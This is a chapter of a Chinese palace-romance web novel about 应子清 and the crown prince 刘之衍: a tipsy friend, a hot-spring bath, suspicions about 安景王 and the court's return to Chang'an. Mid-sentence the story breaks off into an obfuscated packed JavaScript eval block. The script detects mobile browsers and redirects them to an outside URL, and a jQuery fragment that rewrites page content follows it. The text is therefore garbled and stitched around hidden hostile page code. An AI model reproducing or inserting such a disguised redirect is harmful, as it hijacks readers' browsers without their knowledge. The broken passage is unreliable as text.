45. 第 45 章

作品:《步步攻心

    “刘弘煦曾经……真的很好,好到让我想喜欢他一辈子。可他忽然冷下来,仿佛之前的一切,都是假的。”


    谢凝荷滚着热热的泪,说了好些醉话,她抱着应子清,眼泪鼻涕全擦在她衣裙上。


    夜深人静,到了该休息的时刻,宫女太监轻手轻脚收拾桌椅,小心吹熄角落里的灯。


    刘之衍负手在一旁立着,盯着她们瞧,不肯离开。


    谢凝荷见他执意带走应子清,心中气恼:“我这么难受,想叫个人陪着我。我借一晚子清姐姐,怎么了?你没有她就睡不着吗?”


    刘之衍坦然:“是。”


    谢凝荷气得一噎:“……”


    “……不要乱说话!”应子清头疼,可是耳朵不自觉地发热。


    刘驰骞立在一旁,刘之衍转头看他。


    刘驰骞冲他点头:“你们走吧,我守着她。”


    “凭什么!你说了不算。”谢凝荷不服气。


    刘驰骞走过去,捉住谢凝荷的胳膊,将她从应子清身上扒下来。


    谢凝荷自然不肯,就要挣扎,两人你来我往,别扭撕扯,差点打闹起来。


    应子清正想开解:“要不然,今晚我留下来陪着她……”


    应子清的手腕被刘之衍握住,那男人用了点力,拽着她离开这里。


    “干什么?”应子清着急回头。


    只见那边,刘驰骞低声道:“你若是不听,你信不信,我把你抱回房间。”


    谢凝荷诧异抬眼,可惜她醉得很了,迷迷蒙蒙,她看不清刘驰骞眼底的郁色。


    应子清闻言,也十分惊讶。


    她还想看个分明,但被刘之衍拉着,出了门,雕花漆门将视线一阻,什么都看不到了。


    大红灯笼亮着耀目火光,檐外的白雪纷纷扬扬,假山影影憧憧,温泉水汽缭绕。


    刘之衍霸道地把她往回带,英气的眉眼微冷,什么都不说。


    应子清望着他月白袍衫,高高的个子,不明白他怎么突然生气。


    关上房门,刘之衍放开了她。


    “你想休息了?”应子清揉了揉手腕,她皮肤素白,又薄,被他这么一顿拖回来,留下红红的印子。


    刘之衍“嗯”了声,盯着她的手腕,仍然面无表情。


    应子清只得上前,帮他解开复杂的外衣和腰带,直到露出里面纯白的亵衣。


    自从刘之衍行了冠礼,他戴的玉冠,变了样子。不似以往简洁的一根玉钗,现在用的玉冠更复杂,也更好看。应子清替他拆掉温润的莲瓣纹玉冠,散开乌黑漂亮的长发,束成简单的发辫。


    刘之衍坐在镜前,把玩一枚嵌了宝石的匕首:“过完元日,该回长安了,那里不比这里,没有温泉。若是喜欢,你今夜可以去泡一泡,以后再想来,不大容易。”


    刘之衍说的是,沐云居那口自带药浴的温泉。


    上次应子清自行泡温泉,撞上突然回来的刘之衍,她心中尴尬,以后都和香巧语兰她们一起,去宫人专用的汤泉。


    宫人专用的汤泉,建在一处偏僻的山间,搭了简单的围栏与房檐,勘勘遮蔽风雪,池子又小又拥挤。


    不过,大家是女孩子,系着浴巾泡温泉的时候,凑在一起说说笑笑,吃些糕点喝着果酒,有度假的感觉。比独自一人,好玩得多。


    刘之衍说得不错,泡一次少一次,应子清心里珍惜,点头道:“好吧。”


    见她乖乖听话,刘之衍一路上冰封的脸色,稍稍融化。5


    炭火融融,刘之衍坐着织金褥子,拿着一根长箸拨弄火盆。


    薄薄缎面屏风,映着月色般朦胧皎洁的身影。


    听着水流轻响,刘之衍一直盯着那道纤细的影子,心跳缓慢而镇定地跳动。


    应子清心中烦闷,泡澡泡得并不安宁。她还以为,刘之衍叫她自己在这里沐浴,谁知道他就在外面!她想,古人的标准怎么时而古板,时而生猛,这符合刘之衍君子本性吗?


    所幸,刘之衍坐在外间,有一搭没一搭地和她聊天,像是无聊,才呆在这里似的,并没有其他意思。


    “我好像知道刘弘煦为什么会突然改变……”


    “不是所有男人都是凉薄的……”


    两人同时开口,听到对方的话,又同时沉默。


    “你说。”刘之衍先让一步。


    “我好像知道刘弘煦为什么会突然改变。”应子清瞥一眼屏风上高挑颀长的人影,“可能是,因为安景王。”


    “嗯。”刘之衍听着她清凌凌的声音,心不在焉。


    应子清也听出他兴趣缺缺,不过她想,既然她决心改变任务人选,有些话,最好通通气。


    应子清沉了沉气,终于道出:“安景王有异心。”


    虽说没什么,这么隔着轻薄的屏风说话,到底暧昧。


    应子清手上的动作利落,迅速将自己洗干净了,从温泉中走出。


    湿热水汽弥漫,温泉池中,一双修长白净的小腿,将瑰色花瓣打散。


    转眼间,应子清擦干了身,穿上亵衣,再在外面罩一层青色纱衣,穿得严严实实,才肯走出去。


    坐在织金褥子上,应子清将一头墨色湿濡的长发,垂在肩膀一侧,就着热烘烘的炭火烘烤。


    刘之衍却朝她靠近,拿着一方锦缎,要帮她拧一拧水滴。


    应子清没拒绝,半对着他坐着,细细思索道:“安景王有野心,但他不是一开始就有计划。”


    想到那日松云雅集,神秘人与安景王的对话,应子清继续道:“我曾经撞见安景王与一神秘人,处处贬低你,那神秘人必定是他的同伙。但这个神秘人,让我觉得奇怪。因为除了你,就属安景王,具备登位的资格。这个神秘人,为什么要这么做?”


    投靠太子,难道不比投靠安景王,更容易吗?


    为什么要舍近求远?


    难道那个幕后之人,也跟她一样,未卜先知?


    知道大晋朝在刘之衍的手中,会走向覆灭?


    也不是没有这个可能,毕竟连穿越这件事都会发生,她不得不相信,怪力乱神的存在。


    但,应子清之所以转变投靠者,是她看到刘之衍正在日渐变好,她相信她能辅佐刘之衍,阻止灾难的发生。


    可是,如果她阻止不了呢?


    安景王或许就是那个天命之人呢?


    应子清越想越乱。


    刘之衍似是看出她的迷惘,解释道:“没那么复杂,利益驱使。”


    “嗯?你说什么?”应子清回头,与他对视。


    刘之衍看着她那双清亮剔透的眼眸,映着自己的影子,心中一动。他仓促转开眼,语气有些烦躁:“你怎么知道那么多。”


    被他一问,应子清闪烁着眼睛,心虚道:“我不能告诉你,为什么我知道这些东西。”


    刘之衍没有追问下去,两人重归沉默。


    应子清为何会知道安景王的秘密?这其中的蛛丝马迹,刘之衍早就一清二楚。他一直派着影卫在暗中跟踪着她,所有的举动,他都了如指掌。


    他早知道应子清会弃暗投明,重新选择他,若无这个自信,他也不必当这个太子。


    谋士另投他主,实乃屡见不鲜之事。作为谋士的灵清子,只会投靠明主,否则他该怀疑灵清子的眼光。


    至于,应子清说的那个神秘人,他也知道是谁,是窦皇后的人。


    窦家到底在打什么主意,刘之衍隐约猜到,只是没有证据确认。


    鼻息间,传来温软甜美的香气,是应子清身上的。


    少女微微侧坐,眨着长睫凝思,不施脂粉的嘴唇殷红,说话时轻抿着,感觉很软。


    两人离得太近,他能轻而易举地看到,在应子清青色纱衣与亵衣之间,露出的一块柔软肌肤。


    刘之衍视线,顺着往下滑,落在她的素白纤小的锁骨上。再往里一点,亵衣遮挡得很好,其实什么都看不到。可他就是忍不住,想象着温软起伏的线条……


    他放纵着自己的目光,丝毫不知收敛。


    举止克


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850388|152826||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    己守礼,进退有度,是常年教养所致,真实的刘之衍,根本不是正人君子。要不然,也不会有种种流言,说他如何的暴戾。


    应子清亲口说过,她不喜欢他,还想跑去当女户。


    但这也说明,她没有心仪的男人,是以,他听了并不灰心。


    大抵女子,不论长于钟鸣鼎食之家,还是寻常巷陌,都希望风风光光,名正言顺地成为妻子。刘之衍并不希望,以一种不尊重应子清的方式,开始这段感情。


    刘之衍想要的,从来不是出于局势考虑,那种安排好的妻子。他只想要他看上的人,与那女子,自然流淌的情感——没有强迫,没有权衡,只有两颗心自然而然的靠近。


    诸如此类的种种念头,像条条铁链,束缚着他。


    但刘之衍却又深知,这些铁链摇摇欲坠,根本锁不住他。


    诱人的软香,正在一点点,侵蚀他的意志力。


    这些天,刘之衍一直做着类似的梦。梦中,他跨过缎面屏风,进入湿热的温泉池,将羞涩到极致的应子清,揽入怀中亲吻。这种梦恼人又缠人。所以,他比以往更早地起床,在刮着刺骨寒风与大雪的院中习武,就是怕男人晨起抬头的异样,被应子清发现。


    他以为自己是从未见过,多看几次便好。然而再次看见,闻着空气中潮湿温柔的香味,他的心情更加难耐。


    只是,他向来有什么想法,从脸上是看不出来的。


    应子清无意瞥见,刘之衍盯着她的眼神里,藏着极为幽暗的危险之意。


    她下意识紧张:“怎、怎么了?”


    刘之衍和她对视片刻,有些烦闷,最终起身离开:“无事,早些休息。”


    骊山的地气暖和,被雪压了一个冬季的松枝枯树,早早抽出嫩芽。


    料峭寒风瑟瑟,鸟儿破壳孵化,鸣啭啁啾被风送向四面八方。


    某日,天光熹微。


    皇家的马车,在骊山漫长的车道上,整装待发,滚滚驶向长安。


    刘之衍策马扬鞭,依旧在天子鸾驾附近护送。


    这一次,刘之衍身边,多了身披玄色披风、黑底银纹盔甲的东宫亲卫。这些东宫亲卫,整齐划一,面色肃然,与太子殿下保持一个安全的距离,紧密相随。


    程氏三兄弟,还有好些应子清不认识的新面孔,策马在畔。


    她整日与刘之衍形影不离,仍然不清楚,他在什么时候选拔出千人精兵!


    刘之衍在极短的时间内,组建好精兵亲卫,待得这些筹备完善,他也大大方方地亮出来。不亮出来不行,作为东宫,他的一举一动,须得接受天子与朝臣的考校。


    撩下马车车帘,应子清心中发沉。


    车厢里,香巧与语兰依依不舍:“真不知道下回什么时候再来?”


    “明年冬天就来。”香巧自信道。


    “你听谁说的?”语兰纳闷反问。


    “我说的呀!不是说了吗?温泉对圣人身体有好处,可不得再来?”香巧摇摇指头。


    语兰撇开脸,不信:“怎么可能,年年这么跑,我都受不了,皇上的龙体怎么受得了?”


    “没准啊!”香巧似是听出什么,“怎么,听你的语气,你是不是不喜欢这里?”


    “还行吧,我更想回去。”语兰神色淡淡,心不在焉,眼巴巴的,盯着车帘外瞧着。


    香巧没察觉出来,还在不依不饶:“在这里多开心,我说你不认得好东西呢……”


    长安城中,城门早早大开,城门校尉领着守卫,手持长枪,在城墙下整齐列队。


    远方地平线,尘土飞扬。


    銮铃阵阵,旗帜招展,天子鸾驾浩浩荡荡,风尘仆仆地驶入长安城。尾随其后的漫长马车,蒙着厚厚尘土,缓慢进入城门。


    东宫一行队伍,在一个路口,与天子鸾驾分开,转向另一个方向。


    刘之衍不跟着去碧梧宫,而是准备回他的东宫。


    与其他人一同下了马车,再次回到这个地方,应子清竟有物是人非之感。